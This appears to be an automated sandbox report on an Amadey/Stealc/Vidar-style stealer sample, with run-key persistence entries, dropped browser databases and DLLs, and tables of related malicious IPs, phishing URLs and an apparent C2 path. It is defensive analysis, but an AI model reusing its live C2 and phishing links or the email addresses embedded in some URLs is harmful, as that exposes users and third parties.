Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, p-static.bing.trafficmanager.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, iris-de-prod-azsc-v2-weu.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, wu-b-net.trafficmanager.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, prod-agic-we-8
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:23:28	API Interceptor	141x Sleep call for process: file.exe modified
00:24:01	API Interceptor	1234x Sleep call for process: skotes.exe modified
06:23:50	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
06:24:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6fc7e371fe.exe C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe
06:24:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6fc7e371fe.exe C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe
06:24:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run a0969106aa.exe C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe
06:24:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run a0969106aa.exe C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	SAFAIR - MDE_File_Sample_c4fda6eee21550785a1c89ce291a2d3072e0ed9b.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
bg.microsoft.map.fastly.net	https://secure_sharing0documentpreview.wesendit.com/dl/UXseZ6Oj8WT8cWxHq/bXVoYW1hZC5hZGkubXVxcmlAc2ltZWRhcmJ5LmNvbQ	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://gerneva.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://attack.mitre.org/techniques/T1204/001	Get hash	malicious	Lsass Dumper, Mimikatz, Trickbot	Browse	199.232.214.172
	https://xblgo.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://u34251876.ct.sendgrid.net/ls/click?upn=u001.ordJ57g0HVndDa8Km-2BVUUFN1eIn5tdzIxrKbgsGfF9eVdl7b-2Fab-2BrUBdfIXH9yijR5LLM7kgivkgUI3nC3VajM00UDrq4ekI2XREqo0QmHcHyDyYWomvx9-2FHEtQ3o5rBM9AHzVSsjnwFSEJqic-2BEtw-3D-3DBxNa_qINdfz5Lp8EahgxJXfgGV-2Bk7caEgTUs2gtUTKNMgBkZ9mbVIMd-2B1UUN0TqdRRGrocW81C18onNWNx5Y6KM88Rr7odKCqMhALUPuUbXGlkOo01sEKeKdphXRhykHXKfSB-2By1s-2BNAgCL9-2BbtY8LNaKNV0sXQnlv-2F9fA-2BLZtaeadaVGHb32bFHhcOwS3ltfr2dig92MY6M8DrwwYiolgI1k4Q-3D-3D	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://invoicehome.uk/invoice.zip	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	199.232.214.172
	4H3MiO2JBk.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.hopp.bio/hawksridgefarms	Get hash	malicious	Mamba2FA	Browse	199.232.210.172
	Js1CogY3tG.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	amen.arm6.elf	Get hash	malicious	Mirai	Browse	52.237.139.198
	amen.x86.elf	Get hash	malicious	Mirai	Browse	21.63.49.151
	amen.arm.elf	Get hash	malicious	Unknown	Browse	22.85.218.160
	amen.mpsl.elf	Get hash	malicious	Mirai	Browse	21.74.53.23
	zgp.elf	Get hash	malicious	Mirai	Browse	13.66.197.191
	amen.m68k.elf	Get hash	malicious	Unknown	Browse	22.107.202.4
	amen.sh4.elf	Get hash	malicious	Mirai	Browse	22.56.53.91
AMAZON-02US	https://secure_sharing0documentpreview.wesendit.com/dl/UXseZ6Oj8WT8cWxHq/bXVoYW1hZC5hZGkubXVxcmlAc2ltZWRhcmJ5LmNvbQ	Get hash	malicious	Unknown	Browse	13.225.78.37
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	45.112.123.126
	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	65.9.66.67
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	108.139.47.33
	Setup.exe	Get hash	malicious	Unknown	Browse	18.239.94.39
	amen.arm6.elf	Get hash	malicious	Mirai	Browse	3.103.214.114
	amen.x86.elf	Get hash	malicious	Mirai	Browse	3.123.22.203
	amen.arm.elf	Get hash	malicious	Unknown	Browse	3.150.187.121
	amen.mpsl.elf	Get hash	malicious	Mirai	Browse	34.210.73.172
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	amen.arm6.elf	Get hash	malicious	Mirai	Browse	52.237.139.198
	amen.x86.elf	Get hash	malicious	Mirai	Browse	21.63.49.151
	amen.arm.elf	Get hash	malicious	Unknown	Browse	22.85.218.160
	amen.mpsl.elf	Get hash	malicious	Mirai	Browse	21.74.53.23
	zgp.elf	Get hash	malicious	Mirai	Browse	13.66.197.191
	amen.m68k.elf	Get hash	malicious	Unknown	Browse	22.107.202.4
	amen.sh4.elf	Get hash	malicious	Mirai	Browse	22.56.53.91
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	Setup.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://vinculocomputer.com/run/	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fthedailyparanoia%2Ecom%2F	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://fvggtrgtr57crthrvtrhrh.s3.us-east-2.amazonaws.com/u7yy78ty7t6fg67t676t/hg7g6g6gfvj5rfj/index.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	test.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	test.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	test.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	23.1.237.91
	https://parkonking.us15.list-manage.com/track/click?u=ad047aa5468a45d38c75e108c&id=88101fd354&e=1659a0a55d	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://perpetualsnob.com	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://secure_sharing0documentpreview.wesendit.com/dl/UXseZ6Oj8WT8cWxHq/bXVoYW1hZC5hZGkubXVxcmlAc2ltZWRhcmJ5LmNvbQ	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	https://sv-management.solarflevoland.nl/wix	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	https://gerneva.com	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	Setup.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 40.126.31.69 13.107.246.45
	https://attack.mitre.org/techniques/T1204/001	Get hash	malicious	Lsass Dumper, Mimikatz, Trickbot	Browse	184.28.90.27 40.126.31.69 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CBKFIECBGDHJKECAKFBGDHJKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCBAAAFHJDHJJKEBGHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBAKJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDBAKEHDHDGCAKKJJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEGHDGHCGHDHJKFBFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KECFIDGCBFBAKEBFBKFBFBAFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKEHIEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265114398811508
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMsSAELyKOMq+8yC8F/YfU5m+OlTLVumq:Bq+n0Js9ELyKOMq+8y9/OwV
MD5:	AEA8778780FABDBB24C7124A84A1FA30
SHA1:	8EEFCB96381886CDED4137A291E3DC7EFA67BACB
SHA-256:	F3873B1E1859E99027710BAE446F89AC1AAEDECC82E9CA20834CFD80F1B16E38
SHA-512:	C06B13147DD4352C368C18FF2287A6CD8465BAAF99011AAD7E4D01065681C5AF79BB8DF1102CB3F6F1E11E8877574022151B0C8BF69283E9478B0CA4CB87863B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
